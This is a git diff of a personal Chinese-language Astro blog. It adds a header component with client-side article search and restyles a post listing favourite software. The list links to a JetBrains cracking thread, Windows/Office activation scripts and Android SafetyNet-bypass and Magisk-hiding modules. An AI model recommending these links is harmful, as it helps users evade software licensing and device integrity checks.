0 1 1 .707-.707l1.414 1.414a.5.5 0 0 1 0 .708z"/>
</svg> </svg>

View File

@ -844,7 +844,7 @@ const WorldHeatmap: React.FC<WorldHeatmapProps> = ({ visitedPlaces }) => {
/> />
{hoveredCountry && ( {hoveredCountry && (
<div className="absolute bottom-5 left-0 right-0 text-center z-10"> <div className="absolute bottom-5 left-0 right-0 text-center z-10">
<div className="inline-block bg-white/95 dark:bg-gray-800/95 px-6 py-3 rounded-xl shadow-lg backdrop-blur-sm border border-gray-200 dark:border-gray-700 hover:scale-105"> <div className="inline-block bg-white/95 dark:bg-gray-800/95 px-6 py-3 rounded-xl shadow-lg backdrop-blur-sm border border-gray-200 dark:border-gray-700 transition-all duration-300 hover:scale-105">
<p className="text-gray-800 dark:text-white font-medium text-lg flex items-center justify-center gap-2"> <p className="text-gray-800 dark:text-white font-medium text-lg flex items-center justify-center gap-2">
{hoveredCountry} {hoveredCountry}
{hoveredCountry && visitedPlaces.includes(hoveredCountry) ? ( {hoveredCountry && visitedPlaces.includes(hoveredCountry) ? (

546
src/components/header.astro Normal file
View File

@ -0,0 +1,546 @@
---
import { SITE_NAME, NAV_LINKS } from '@/consts.ts';
import { ThemeToggle } from './ThemeToggle';
// 获取当前路径
const currentPath = Astro.url.pathname;
// 移除结尾的斜杠以统一路径格式
const normalizedPath = currentPath.endsWith('/') ? currentPath.slice(0, -1) : currentPath;
// 定义导航链接
---
<header class="fixed w-full top-0 z-50 transition-all duration-300" id="main-header">
<div class="absolute inset-0 bg-gray-50/95 dark:bg-dark-bg/95 transition-all duration-300" id="header-bg"></div>
<nav class="relative">
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
<div class="flex justify-between h-16">
<!-- Logo 部分 -->
<div class="flex items-center">
<a href="/" class="text-xl md:text-2xl font-bold tracking-tight transition-all duration-300 ease-in-out bg-gradient-to-r from-primary-600 to-primary-400 bg-clip-text text-transparent hover:from-primary-500 hover:to-primary-300 dark:from-primary-400 dark:to-primary-200 dark:hover:from-primary-300 dark:hover:to-primary-100">
{SITE_NAME}
</a>
</div>
<!-- 导航链接 -->
<div class="hidden md:flex md:items-center md:space-x-8">
<!-- 桌面端搜索框 -->
<div class="relative">
<input
type="text"
id="desktop-search"
class="w-48 pl-10 pr-4 py-1.5 rounded-full text-sm text-gray-700 dark:text-gray-200 placeholder-gray-500 dark:placeholder-gray-400 bg-gray-50/80 dark:bg-gray-800/60 border border-gray-200/60 dark:border-gray-700/40 focus:outline-none focus:ring-1 focus:ring-primary-400 dark:focus:ring-primary-500 focus:bg-white dark:focus:bg-gray-800 focus:border-primary-300 dark:focus:border-primary-600 transition-all duration-300"
placeholder="搜索文章..."
/>
<div class="absolute inset-y-0 left-0 pl-3 flex items-center pointer-events-none">
<svg class="h-4 w-4 text-gray-400 dark:text-gray-500" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
</svg>
</div>
<!-- 搜索结果容器(默认隐藏) -->
<div id="desktop-search-results" class="absolute top-full left-0 right-0 mt-2 max-h-80 overflow-y-auto rounded-lg bg-white/95 dark:bg-gray-800/95 shadow-md border border-gray-200/70 dark:border-gray-700/70 backdrop-blur-sm z-50 hidden">
<!-- 结果将通过JS动态填充 -->
<div class="p-4 text-center text-gray-500 dark:text-gray-400" id="desktop-search-message">
<p>输入关键词开始搜索</p>
</div>
<ul class="divide-y divide-gray-200/70 dark:divide-gray-700/70" id="desktop-search-list"></ul>
</div>
</div>
{NAV_LINKS.map(link => (
<a
href={link.href}
class:list={[
'inline-flex items-center px-1 pt-1 text-sm font-medium',
normalizedPath === (link.href === '/' ? '' : link.href)
? 'text-primary-600 dark:text-primary-400 border-b-2 border-primary-600 dark:border-primary-400'
: 'text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 hover:border-b-2 hover:border-primary-300 dark:hover:border-primary-700'
]}
>
{link.text}
</a>
))}
<ThemeToggle client:load />
</div>
<!-- 移动端菜单按钮 -->
<div class="flex items-center md:hidden">
<!-- 移动端搜索按钮 -->
<button
type="button"
id="mobile-search-button"
class="inline-flex items-center justify-center p-2 rounded-md text-secondary-400 dark:text-secondary-500 hover:text-secondary-500 dark:hover:text-secondary-400 hover:bg-secondary-100 dark:hover:bg-dark-card focus:outline-none focus:ring-2 focus:ring-inset focus:ring-primary-500 mr-2"
aria-expanded="false"
>
<span class="sr-only">搜索</span>
<svg class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
</svg>
</button>
<button
type="button"
class="inline-flex items-center justify-center p-2 rounded-md text-secondary-400 dark:text-secondary-500 hover:text-secondary-500 dark:hover:text-secondary-400 hover:bg-secondary-100 dark:hover:bg-dark-card focus:outline-none focus:ring-2 focus:ring-inset focus:ring-primary-500"
id="mobile-menu-button"
aria-expanded="false"
>
<span class="sr-only">打开菜单</span>
<svg class="h-6 w-6 block" id="menu-open-icon" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 6h16M4 12h16M4 18h16" />
</svg>
<svg class="h-6 w-6 hidden" id="menu-close-icon" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12" />
</svg>
</button>
</div>
</div>
</div>
<!-- 移动端搜索面板 -->
<div id="mobile-search-panel" class="hidden md:hidden fixed inset-x-0 top-16 p-4 bg-white dark:bg-gray-800 shadow-md z-50 border-t border-gray-200 dark:border-gray-700">
<div class="relative">
<input
type="text"
id="mobile-search"
class="w-full pl-10 pr-10 py-2 rounded-full text-sm text-gray-700 dark:text-gray-200 placeholder-gray-500 dark:placeholder-gray-400 bg-gray-50/80 dark:bg-gray-800/60 border border-gray-200/60 dark:border-gray-700/40 focus:outline-none focus:ring-1 focus:ring-primary-400 dark:focus:ring-primary-500 focus:bg-white dark:focus:bg-gray-800 focus:border-primary-300 dark:focus:border-primary-600 transition-all duration-300"
placeholder="搜索文章..."
/>
<div class="absolute inset-y-0 left-0 pl-3 flex items-center pointer-events-none">
<svg class="h-5 w-5 text-gray-400 dark:text-gray-500" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
</svg>
</div>
<button
id="mobile-search-close"
class="absolute inset-y-0 right-0 pr-3 flex items-center text-gray-400 hover:text-gray-600 dark:hover:text-gray-300"
>
<svg class="h-5 w-5" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12" />
</svg>
</button>
</div>
<!-- 移动端搜索结果 -->
<div id="mobile-search-results" class="mt-3 max-h-80 overflow-y-auto rounded-lg bg-white/95 dark:bg-gray-800/95 shadow-md border border-gray-200/70 dark:border-gray-700/70 backdrop-blur-sm hidden">
<!-- 结果将通过JS动态填充 -->
<div class="p-4 text-center text-gray-500 dark:text-gray-400" id="mobile-search-message">
<p>输入关键词开始搜索</p>
</div>
<ul class="divide-y divide-gray-200/70 dark:divide-gray-700/70" id="mobile-search-list"></ul>
</div>
</div>
<!-- 移动端菜单 -->
<div class="hidden md:hidden fixed inset-x-0 top-16 z-40" id="mobile-menu">
<div id="mobile-menu-bg">
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-2">
<div class="grid gap-1">
{NAV_LINKS.map(link => (
<a
href={link.href}
class:list={[
'flex items-center px-3 py-3 rounded-lg text-base font-medium transition-all duration-200 ease-in-out',
normalizedPath === (link.href === '/' ? '' : link.href)
? 'text-white bg-primary-600 dark:bg-primary-500 shadow-sm'
: 'text-gray-700 dark:text-gray-200 hover:bg-gray-100 dark:hover:bg-gray-800/70'
]}
>
{link.text}
</a>
))}
<div class="mt-2 pt-3 border-t border-gray-200 dark:border-gray-700 flex items-center justify-between cursor-pointer hover:bg-gray-100 dark:hover:bg-gray-800/70 rounded-lg px-3 py-2 transition-colors duration-200" id="theme-toggle-container">
<span class="text-sm font-medium text-gray-600 dark:text-gray-300">切换主题</span>
<ThemeToggle client:load />
</div>
</div>
</div>
</div>
</div>
</nav>
</header>
<style>
#header-bg {
opacity: 1;
backdrop-filter: blur(0);
transition: all 0.5s ease;
}
#header-bg.scrolled {
backdrop-filter: blur(6px);
background: rgba(249, 250, 251, 0.8);
box-shadow:
0 1px 2px rgba(0, 0, 0, 0.04),
0 2px 4px rgba(0, 0, 0, 0.04),
0 4px 8px rgba(0, 0, 0, 0.04);
}
:global([data-theme="dark"]) #header-bg.scrolled {
background: rgba(15, 23, 42, 0.8);
box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.3), 0 2px 4px -1px rgba(0, 0, 0, 0.2);
}
/* 移动端菜单样式 */
#mobile-menu {
/* 移除过渡效果,确保菜单内容立即显示 */
opacity: 1;
transform: translateY(0);
max-height: calc(100vh - 4rem);
overflow-y: auto;
/* 确保子元素不受过渡效果影响 */
contain: layout;
}
/* 移动端菜单背景 */
#mobile-menu-bg {
/* 直接应用高斯模糊,不使用过渡效果 */
-webkit-backdrop-filter: blur(6px);
backdrop-filter: blur(6px);
background: rgba(249, 250, 251, 0.8);
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.04);
/* 确保高斯模糊立即应用 */
will-change: backdrop-filter;
}
:global([data-theme="dark"]) #mobile-menu-bg {
background: rgba(15, 23, 42, 0.8);
box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.3);
}
/* 搜索面板动画 */
#mobile-search-panel.show {
animation: slide-down 0.2s ease-out forwards;
}
@keyframes slide-down {
0% {
opacity: 0;
transform: translateY(-10px);
}
100% {
opacity: 1;
transform: translateY(0);
}
}
</style>
<script>
const header = document.getElementById('header-bg');
const scrollThreshold = 50;
function updateHeaderBackground() {
if (window.scrollY > scrollThreshold) {
header?.classList.add('scrolled');
} else {
header?.classList.remove('scrolled');
}
}
// 初始检查
updateHeaderBackground();
// 添加滚动事件监听
window.addEventListener('scroll', updateHeaderBackground);
// 移动端菜单逻辑
const mobileMenuButton = document.getElementById('mobile-menu-button');
const mobileMenu = document.getElementById('mobile-menu');
const menuOpenIcon = document.getElementById('menu-open-icon');
const menuCloseIcon = document.getElementById('menu-close-icon');
if (mobileMenuButton && mobileMenu && menuOpenIcon && menuCloseIcon) {
mobileMenuButton.addEventListener('click', () => {
const expanded = mobileMenuButton.getAttribute('aria-expanded') === 'true';
// 切换菜单状态
mobileMenuButton.setAttribute('aria-expanded', (!expanded).toString());
if (expanded) {
// 直接隐藏菜单,不使用过渡效果
mobileMenu.classList.add('hidden');
} else {
// 直接显示菜单,不使用过渡效果
mobileMenu.classList.remove('hidden');
}
// 切换图标
menuOpenIcon.classList.toggle('hidden');
menuCloseIcon.classList.toggle('hidden');
});
}
// 移动端主题切换容器点击处理
document.addEventListener('DOMContentLoaded', () => {
const themeToggleContainer = document.getElementById('theme-toggle-container');
if (themeToggleContainer) {
themeToggleContainer.addEventListener('click', (e) => {
const target = e.target as HTMLElement;
const themeToggleButton = themeToggleContainer.querySelector('[role="button"]');
// 如果点击的不是主题切换按钮本身,而是容器或文本
if (themeToggleButton instanceof HTMLElement && target !== themeToggleButton && !themeToggleButton.contains(target)) {
// 手动触发主题切换按钮的点击
themeToggleButton.click();
}
});
}
});
// 搜索功能逻辑
document.addEventListener('DOMContentLoaded', () => {
// 搜索节流函数
function debounce<T extends (...args: any[]) => void>(func: T, wait: number): (...args: Parameters<T>) => void {
let timeout: ReturnType<typeof setTimeout> | undefined;
return function(this: any, ...args: Parameters<T>): void {
clearTimeout(timeout);
timeout = setTimeout(() => func.apply(this, args), wait);
};
}
// 获取DOM元素
const desktopSearch = document.getElementById('desktop-search');
const desktopResults = document.getElementById('desktop-search-results');
const desktopList = document.getElementById('desktop-search-list');
const desktopMessage = document.getElementById('desktop-search-message');
const mobileSearchButton = document.getElementById('mobile-search-button');
const mobileSearchPanel = document.getElementById('mobile-search-panel');
const mobileSearch = document.getElementById('mobile-search');
const mobileResults = document.getElementById('mobile-search-results');
const mobileList = document.getElementById('mobile-search-list');
const mobileMessage = document.getElementById('mobile-search-message');
const mobileSearchClose = document.getElementById('mobile-search-close');
// 文章对象的接口定义
interface Article {
id: string;
title: string;
date: string | Date;
summary?: string;
tags?: string[];
image?: string;
content?: string;
}
let articles: Article[] = [];
// 获取文章数据
async function fetchArticles() {
try {
const response = await fetch('/api/search');
if (!response.ok) {
throw new Error('获取文章数据失败');
}
articles = await response.json();
} catch (error) {
console.error('获取文章失败:', error);
}
}
// 高亮文本中的匹配部分
function highlightText(text: string, query: string): string {
if (!text || !query.trim()) return text;
// 转义正则表达式中的特殊字符
const escapedQuery = query.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
const regex = new RegExp(`(${escapedQuery})`, 'gi');
return text.replace(regex, '<mark class="bg-yellow-100 dark:bg-yellow-900/30 text-gray-900 dark:text-gray-100 px-0.5 rounded">$1</mark>');
}
// 搜索文章
function searchArticles(query: string, resultsList: HTMLElement, resultsMessage: HTMLElement) {
if (!query.trim()) {
resultsList.innerHTML = '';
resultsMessage.textContent = '输入关键词开始搜索';
resultsMessage.style.display = 'block';
return;
}
if (articles.length === 0) {
resultsMessage.textContent = '正在加载数据...';
resultsMessage.style.display = 'block';
return;
}
const lowerQuery = query.toLowerCase();
// 过滤并排序结果
const filteredArticles = articles
.filter((article: Article) => {
const title = article.title.toLowerCase();
const tags = article.tags ? article.tags.map((tag: string) => tag.toLowerCase()) : [];
const summary = article.summary ? article.summary.toLowerCase() : '';
const content = article.content ? article.content.toLowerCase() : '';
return title.includes(lowerQuery) ||
tags.some((tag: string) => tag.includes(lowerQuery)) ||
summary.includes(lowerQuery) ||
content.includes(lowerQuery);
})
.sort((a: Article, b: Article) => {
// 标题匹配优先
const aTitle = a.title.toLowerCase();
const bTitle = b.title.toLowerCase();
if (aTitle.includes(lowerQuery) && !bTitle.includes(lowerQuery)) {
return -1;
}
if (!aTitle.includes(lowerQuery) && bTitle.includes(lowerQuery)) {
return 1;
}
// 内容匹配次之
const aContent = a.content ? a.content.toLowerCase() : '';
const bContent = b.content ? b.content.toLowerCase() : '';
if (aContent.includes(lowerQuery) && !bContent.includes(lowerQuery)) {
return -1;
}
if (!aContent.includes(lowerQuery) && bContent.includes(lowerQuery)) {
return 1;
}
// 日期排序
return new Date(b.date).getTime() - new Date(a.date).getTime();
})
.slice(0, 10); // 限制结果数量
if (filteredArticles.length === 0) {
resultsList.innerHTML = '';
resultsMessage.textContent = '没有找到相关内容';
resultsMessage.style.display = 'block';
return;
}
// 显示结果
resultsMessage.style.display = 'none';
resultsList.innerHTML = filteredArticles.map((article: Article) => {
// 生成匹配的内容片段
let contentMatch = '';
if (article.content && article.content.toLowerCase().includes(lowerQuery)) {
// 找到匹配文本在内容中的位置
const matchIndex = article.content.toLowerCase().indexOf(lowerQuery);
// 计算片段的起始和结束位置
const startPos = Math.max(0, matchIndex - 50);
const endPos = Math.min(article.content.length, matchIndex + 100);
// 提取片段
let snippet = article.content.substring(startPos, endPos);
// 如果不是从文章开头开始,添加省略号
if (startPos > 0) {
snippet = '...' + snippet;
}
// 如果不是到文章结尾,添加省略号
if (endPos < article.content.length) {
snippet = snippet + '...';
}
// 高亮匹配的文本
snippet = highlightText(snippet, query);
contentMatch = `<p class="text-xs text-gray-500 dark:text-gray-400 mt-1 line-clamp-2">${snippet}</p>`;
}
// 高亮标题和摘要中的匹配文本
const highlightedTitle = highlightText(article.title, query);
const highlightedSummary = article.summary ? highlightText(article.summary, query) : '';
return `
<li>
<a href="/articles/${article.id}" class="block px-4 py-3 hover:bg-gray-100 dark:hover:bg-gray-700/70 transition-colors duration-200">
<h3 class="text-sm font-medium text-gray-800 dark:text-gray-200 truncate">${highlightedTitle}</h3>
${article.summary ? `<p class="text-xs text-gray-500 dark:text-gray-400 mt-1 truncate">${highlightedSummary}</p>` : ''}
${contentMatch}
${article.tags && article.tags.length > 0 ? `
<div class="flex flex-wrap gap-1 mt-1.5">
${article.tags.slice(0, 3).map((tag: string) => `
<span class="inline-block text-xs bg-primary-50/50 dark:bg-primary-900/20 text-primary-600 dark:text-primary-400 py-0.5 px-1.5 rounded-full">#${tag}</span>
`).join('')}
${article.tags.length > 3 ? `<span class="text-xs text-gray-400 dark:text-gray-500">+${article.tags.length - 3}</span>` : ''}
</div>
` : ''}
</a>
</li>
`}).join('');
}
// 节流搜索
const debouncedDesktopSearch = debounce((value: string) => {
if (desktopList && desktopMessage) {
searchArticles(value, desktopList as HTMLElement, desktopMessage as HTMLElement);
}
}, 300);
const debouncedMobileSearch = debounce((value: string) => {
if (mobileList && mobileMessage) {
searchArticles(value, mobileList as HTMLElement, mobileMessage as HTMLElement);
}
}, 300);
// 桌面端搜索逻辑
if (desktopSearch && desktopResults) {
desktopSearch.addEventListener('focus', () => {
desktopResults.classList.remove('hidden');
if (!articles.length) fetchArticles();
});
desktopSearch.addEventListener('input', (e: Event) => {
const target = e.target as HTMLInputElement;
if (target && target.value !== undefined) {
debouncedDesktopSearch(target.value);
}
});
// 点击外部关闭结果
document.addEventListener('click', (e: MouseEvent) => {
const target = e.target as Node;
if (desktopSearch && !desktopSearch.contains(target) && !desktopResults.contains(target)) {
desktopResults.classList.add('hidden');
}
});
// ESC键关闭结果
desktopSearch.addEventListener('keydown', (e: KeyboardEvent) => {
if (e.key === 'Escape') {
desktopResults.classList.add('hidden');
}
});
}
// 移动端搜索逻辑
if (mobileSearchButton && mobileSearchPanel) {
mobileSearchButton.addEventListener('click', () => {
mobileSearchPanel.classList.remove('hidden');
mobileSearchPanel.classList.add('show');
if (mobileSearch) mobileSearch.focus();
if (!articles.length) fetchArticles();
});
if (mobileSearchClose) {
mobileSearchClose.addEventListener('click', () => {
mobileSearchPanel.classList.add('hidden');
mobileSearchPanel.classList.remove('show');
});
}
if (mobileSearch && mobileResults) {
mobileSearch.addEventListener('input', (e: Event) => {
mobileResults.classList.remove('hidden');
const target = e.target as HTMLInputElement;
if (target && target.value !== undefined) {
debouncedMobileSearch(target.value);
}
});
// ESC键关闭搜索面板
mobileSearch.addEventListener('keydown', (e: KeyboardEvent) => {
if (e.key === 'Escape') {
mobileSearchPanel.classList.add('hidden');
mobileSearchPanel.classList.remove('show');
}
});
}
}
});
</script>

View File

@ -3,185 +3,170 @@ title: "常用软件"
date: 2023-04-28T20:56:00Z date: 2023-04-28T20:56:00Z
tags: [] tags: []
--- ---
### Windows 应用 ### Windows 应用
--- ---
- **开发软件:** * **开发软件:**
- [JetBrains 全家桶](https://www.jetbrains.com/zh-cn/products/) * [JetBrains全家桶](https://www.jetbrains.com/zh-cn/products/)
- [JetBrains 破解软件](https://linux.do/t/topic/115562) * [JetBrains破解软件](https://linux.do/t/topic/115562)
* **压缩软件:** [NanaZIP](https://github.com/M2Team/NanaZip) (应用商店可下载)
* **办公软件:**
- **压缩软件:** [NanaZIP](https://github.com/M2Team/NanaZip) (应用商店可下载) * [Office Tool Plus](https://otp.landian.vip/zh-cn/download.html) (office下载)
- **办公软件:** * [WAS](https://github.com/massgravel/Microsoft-Activation-Scripts) (windows/office 激活)
* [HEU_KMS_Activator](https://github.com/zbezj/HEU_KMS_Activator/releases) (windows/office 激活)
* **下载器:** [IDM](https://www.internetdownloadmanager.com/)
* **卸载工具:** [Geek](https://geekuninstaller.com/)
* **文件搜索工具:** [Everything](https://www.voidtools.com/downloads/)
* **电脑硬件检测:** [图吧工具箱](http://www.tbtool.cn/)
* **浏览器:**
- [Office Tool Plus](https://otp.landian.vip/zh-cn/download.html) (office 下载) * [chrome](https://www.google.com/chrome/)
- [WAS](https://github.com/massgravel/Microsoft-Activation-Scripts) (windows/office 激活) * [Arc](https://arc.net/)
- [HEU_KMS_Activator](https://github.com/zbezj/HEU_KMS_Activator/releases) (windows/office 激活) * [百分浏览器](https://www.centbrowser.cn/)
* **ssh工具**
- **下载器:** [IDM](https://www.internetdownloadmanager.com/) * [tabby](https://github.com/Eugeny/tabby/tree/master)
- **卸载工具:** [Geek](https://geekuninstaller.com/) * [FinalShell](http://www.hostbuf.com/)
- **文件搜索工具:** [Everything](https://www.voidtools.com/downloads/) * **adb工具** [Platform Tools](https://developer.android.com/tools/releases/platform-tools?hl=zh-cn)
- **电脑硬件检测:** [图吧工具箱](http://www.tbtool.cn/) * **科学上网工具:**
- **浏览器:**
- [chrome](https://www.google.com/chrome/) * [Clash for Windows](https://github.com/Z-Siqi/Clash-for-Windows_Chinese/releases)
- [Arc](https://arc.net/) * [v2rayN](https://github.com/2dust/v2rayN/releases/)
- [百分浏览器](https://www.centbrowser.cn/) * [v2ray-rules-dat](https://github.com/Loyalsoldier/v2ray-rules-dat)V2Ray 路由规则文件加强版
* **驱动管理:** [360驱动大师](http://dm.weishi.360.cn/home.html)
* **运行库安装:** [NET Framework](https://dotnet.microsoft.com/zh-cn/download/dotnet-framework)
* **任务栏透明工具:** [TranslucentTB](https://github.com/TranslucentTB/TranslucentTB#start-of-content) (应用商店可下载)
* **壁纸软件:** [Wallpaper Engine](https://store.steampowered.com/app/431960/Wallpaper_Engine/)
* **防火墙应用:**
- **ssh 工具:** * [360安全卫士极速版](https://weishi.360.cn/jisu/)
* [火绒](https://www.huorong.cn/)
- [tabby](https://github.com/Eugeny/tabby/tree/master)
- [FinalShell](http://www.hostbuf.com/)
- **adb 工具:** [Platform Tools](https://developer.android.com/tools/releases/platform-tools?hl=zh-cn)
- **科学上网工具:**
- [Clash for Windows](https://github.com/Z-Siqi/Clash-for-Windows_Chinese/releases)
- [v2rayN](https://github.com/2dust/v2rayN/releases/)
- [v2ray-rules-dat](https://github.com/Loyalsoldier/v2ray-rules-dat)V2Ray 路由规则文件加强版
- **驱动管理:** [360 驱动大师](http://dm.weishi.360.cn/home.html)
- **运行库安装:** [NET Framework](https://dotnet.microsoft.com/zh-cn/download/dotnet-framework)
- **任务栏透明工具:** [TranslucentTB](https://github.com/TranslucentTB/TranslucentTB#start-of-content) (应用商店可下载)
- **壁纸软件:** [Wallpaper Engine](https://store.steampowered.com/app/431960/Wallpaper_Engine/)
- **防火墙应用:**
- [360 安全卫士极速版](https://weishi.360.cn/jisu/)
- [火绒](https://www.huorong.cn/)
### Android 应用 ### Android 应用
--- ---
- **下载器:** 1DM+ * **下载器:** 1DM+
- **安装器:** R-安装组件 * **安装器:** R-安装组件
- **浏览器:** * **浏览器:**
- [雨见浏览器国际版](https://yjllq.com/) * [雨见浏览器国际版](https://yjllq.com/)
- [Alook](https://www.alookweb.com/) * [Alook](https://www.alookweb.com/)
* **文件管理器:** [MT管理器](https://mt2.cn/)
* **网络工具:**
- **文件管理器:** [MT 管理器](https://mt2.cn/) * Cellular Pro
- **网络工具:** * VPN热点
* **科学上网:**
- Cellular Pro * Surfboard
- VPN 热点 * [v2rayNG](https://github.com/2dust/v2rayNG/releases)
* **终端模拟器**:
- **科学上网:** * [Termux](https://termux.dev/)
* [ZeroTermux](https://github.com/hanxinhao000/ZeroTermux)
* **Git 存储库管理工具:** [GitNex](https://gitnex.com/)
* **视频播放器:**
- Surfboard * MX播放器专业版
- [v2rayNG](https://github.com/2dust/v2rayNG/releases) * XPlayer - 万能视频播放器
* **服务器连接:**
- **终端模拟器**: * [JuiceSSH](https://juicessh.com/)
* RD客户端 (连接Windows)
* [Termius](https://termius.com/)
* **根目录整理:** [存储空间隔离](https://sr.rikka.app/)
* **定位修改:** [Fake Location](https://github.com/Lerist/FakeLocation)
* **将操作系统映像写入USB驱动器** [EtchDroid](https://github.com/EtchDroid/EtchDroid)
* **adb工具**
- [Termux](https://termux.dev/) * [搞机助手](https://gjzsr.com/)
- [ZeroTermux](https://github.com/hanxinhao000/ZeroTermux) * 甲壳虫ADB助手
* Bugjaeger Premium
* [scene](https://github.com/kdrag0n/safetynet-fix/releases)
* **Xposed软件**
- **Git 存储库管理工具:** [GitNex](https://gitnex.com/) * **抖音增强:** [FreedomPlus](https://github.com/Xposed-Modules-Repo/io.github.fplus)
- **视频播放器:** * **bilibili增强** [哔哩漫游](https://github.com/yujincheng08/BiliRoaming)
* **微信增强:** [微x模块](https://github.com/Xposed-Modules-Repo/com.fkzhang.wechatxposed)
* **QQ增强:** [QAuxiliary](https://github.com/Xposed-Modules-Repo/io.github.qauxv)
* **识别短信验证码:** [XposedSmsCode](https://github.com/Xposed-Modules-Repo/com.github.tianma8023.xposed.smscode)
* **Magisk模块管理**
- MX 播放器专业版 * [LSPosed](https://github.com/LSPosed/LSPosed):已归档
- XPlayer - 万能视频播放器 * 关闭SELinux
* 停用HW叠加层模块
- **服务器连接:** * [Universal SafetyNet Fix](https://github.com/kdrag0n/safetynet-fix):绕过 Google 的 SafetyNet 认证
* [Shamiko](https://github.com/LSPosed/LSPosed.github.io/releases):隐藏更多 Magisk 痕迹
- [JuiceSSH](https://juicessh.com/)
- RD 客户端 (连接 Windows)
- [Termius](https://termius.com/)
- **根目录整理:** [存储空间隔离](https://sr.rikka.app/)
- **定位修改:** [Fake Location](https://github.com/Lerist/FakeLocation)
- **将操作系统映像写入 USB 驱动器:** [EtchDroid](https://github.com/EtchDroid/EtchDroid)
- **adb 工具:**
- [搞机助手](https://gjzsr.com/)
- 甲壳虫 ADB 助手
- Bugjaeger Premium
- [scene](https://github.com/kdrag0n/safetynet-fix/releases)
- **Xposed 软件**
- **抖音增强:** [FreedomPlus](https://github.com/Xposed-Modules-Repo/io.github.fplus)
- **bilibili 增强:** [哔哩漫游](https://github.com/yujincheng08/BiliRoaming)
- **微信增强:** [微 x 模块](https://github.com/Xposed-Modules-Repo/com.fkzhang.wechatxposed)
- **QQ 增强:** [QAuxiliary](https://github.com/Xposed-Modules-Repo/io.github.qauxv)
- **识别短信验证码:** [XposedSmsCode](https://github.com/Xposed-Modules-Repo/com.github.tianma8023.xposed.smscode)
- **Magisk 模块管理:**
- [LSPosed](https://github.com/LSPosed/LSPosed):已归档
- 关闭 SELinux
- 停用 HW 叠加层模块
- [Universal SafetyNet Fix](https://github.com/kdrag0n/safetynet-fix):绕过 Google 的 SafetyNet 认证
- [Shamiko](https://github.com/LSPosed/LSPosed.github.io/releases):隐藏更多 Magisk 痕迹
### 浏览器插件 ### 浏览器插件
--- ---
- [AdGuard](https://adguard.com/zh_cn/adguard-browser-extension/overview.html):广告拦截程序 * [AdGuard](https://adguard.com/zh_cn/adguard-browser-extension/overview.html):广告拦截程序
- [篡改猴](https://www.tampermonkey.net/index.php?browser=chrome&locale=zh):脚本管理器 * [篡改猴](https://www.tampermonkey.net/index.php?browser=chrome&locale=zh):脚本管理器
- [猫抓](https://o2bmm.gitbook.io/cat-catch):资源嗅探 * [猫抓](https://o2bmm.gitbook.io/cat-catch):资源嗅探
- [图片助手(ImageAssistant)](https://www.pullywood.com/ImageAssistant/):嗅探、分析网页图片、图片筛选 * [图片助手(ImageAssistant)](https://www.pullywood.com/ImageAssistant/):嗅探、分析网页图片、图片筛选
- [Circle 阅读助手](http://www.circlereader.com/):提取并排版网页内容 * [Circle 阅读助手](http://www.circlereader.com/):提取并排版网页内容
- [Global Speed](https://chrome.google.com/webstore/detail/global-speed/jpbjcnkcffbooppibceonlgknpkniiff?hl=zh-CN):速度控制 * [Global Speed](https://chrome.google.com/webstore/detail/global-speed/jpbjcnkcffbooppibceonlgknpkniiff?hl=zh-CN):速度控制
- [ColorZilla](https://www.colorzilla.com/zh-cn/):拾色器 * [ColorZilla](https://www.colorzilla.com/zh-cn/):拾色器
- [Selenium IDE](https://www.selenium.dev/zh-cn/documentation/ide/):记录和回放用户操作 * [Selenium IDE](https://www.selenium.dev/zh-cn/documentation/ide/):记录和回放用户操作
- [Floccus](https://floccus.org/download):同步书签和标签 * [Floccus](https://floccus.org/download):同步书签和标签
- [沉浸式翻译:](https://immersivetranslate.com/) 网页翻译 * [沉浸式翻译:](https://immersivetranslate.com/) 网页翻译
### Docker 应用 ### Docker 应用
--- ---
- [vaultwarden](https://github.com/dani-garcia/vaultwarden):密码管理器,[Bitwarden](https://bitwarden.com/)的第三方 Docker 项目。 * [vaultwarden](https://github.com/dani-garcia/vaultwarden):密码管理器,[Bitwarden](https://bitwarden.com/)的第三方 Docker 项目。
- [AList](https://alist.nn.ci/zh/):支持多种文件储存,支持 WebDAV * [AList](https://alist.nn.ci/zh/):支持多种文件储存,支持 WebDAV
- [思源笔记](https://b3log.org/siyuan/):支持 web * [思源笔记](https://b3log.org/siyuan/)支持web端
- [Gitea](https://about.gitea.com/):支持基于 Git 创建和管理存储库 * [Gitea](https://about.gitea.com/):支持基于 Git 创建和管理存储库
- [Nginx Proxy Manager](https://nginxproxymanager.com/)Nginx 代理管理器 * [Nginx Proxy Manager](https://nginxproxymanager.com/)Nginx 代理管理器
- [雷池](https://waf-ce.chaitin.cn/):基于 Nginx 开发的 Web 应用防火墙 * [雷池](https://waf-ce.chaitin.cn/)基于Nginx开发的Web 应用防火墙
### Linux 应用 ### Linux 应用
--- ---
- [OpenSSH](https://www.openssh.com/)SSH 连接工具 * [OpenSSH](https://www.openssh.com/)SSH连接工具
- `Wget` `curl`:从网络上获取或发送数据 * `Wget` `curl`:从网络上获取或发送数据
- [vim](https://www.vim.org/):文本编辑器 * [vim](https://www.vim.org/):文本编辑器
